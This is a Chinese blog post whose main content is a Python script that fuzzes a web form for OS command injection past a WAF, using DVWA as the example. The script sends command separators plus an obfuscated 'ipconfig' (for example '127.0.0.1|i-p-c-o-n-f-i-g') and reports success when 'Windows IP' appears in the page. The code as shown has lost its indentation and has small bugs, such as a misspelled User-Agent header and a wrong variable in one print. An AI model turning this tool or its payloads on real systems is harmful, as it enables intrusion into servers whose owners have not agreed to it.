命令执行的时候绕过waf
前言
国庆第五天假期,才写了三篇博客。感觉有点不理想= =,这次写的是bypass命令执行,针对目标系统是windows的。
音乐:
正文
思路:
使用一些符号来对命令进行链接
执行指定命令,通过从网页上获取指定关键字判断是否成功bypass
代码:
#这里只是拿DVWA做个例子#
import requests
import optparse
def main():
parser=optparse.OptionParser()
parser.add_option('-u',dest='zru',help='Used for fuzzy testing')
(options,args)=parser.parse_args()
if options.zru:
url=options.zru
fuzz(url)
else:
parser.print_help()
exit()
def fuzz(url):
cookies='PHPSESSID=70mpunbrle3mb6bfaiqieqf3p3;security=high'
cookie = {}
for k in str(cookies).strip().split(';'):
key, value = k.split('=', 1)
cookie[key] = value
urls=url
headers={'user-aegnt':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
payload=['|',';','||','&&','&']
payload_b=['-','$']
payload_c=['-']
payload_d=['$']
for p in payload:
for pb in payload_b:
for pc in payload_c:
for pd in payload_d:
pf=pc+pd
datas={'ip':'127.0.0.1{}i{}p{}c{}o{}n{}f{}i{}g'.format(p,pb,pb,pb,pb,pb,pb,pb),'Submit':'Submit'}
datas2={'ip': '127.0.0.1{}i{}p{}c{}o{}n{}f{}i{}g'.format(p, pf, pf, pf, pf, pf, pf, pf),'Submit': 'Submit'}
reqt=requests.post(url=urls,headers=headers,cookies=cookie,data=datas)
reqt2=requests.post(url=urls,headers=headers,cookies=cookie,data=datas2)
if 'Windows IP' in reqt.text:
print('[+] Bypass success URL:{} data:{}'.format(reqt.url,datas))
if 'Windows IP' in reqt2.text:
print('[+] Bypass success URL:{} data:{}'.format(reqt.url, datas))
if __name__ == '__main__':
main()
测试:
转载请注明转自422926799@qq.com
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:命令执行的时候绕过waf
本文作者:九世
发布时间:2018-10-05, 13:19:12
最后更新:2019-04-19, 20:36:16
原始链接:http://jiushill.github.io/posts/5fc52f43.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。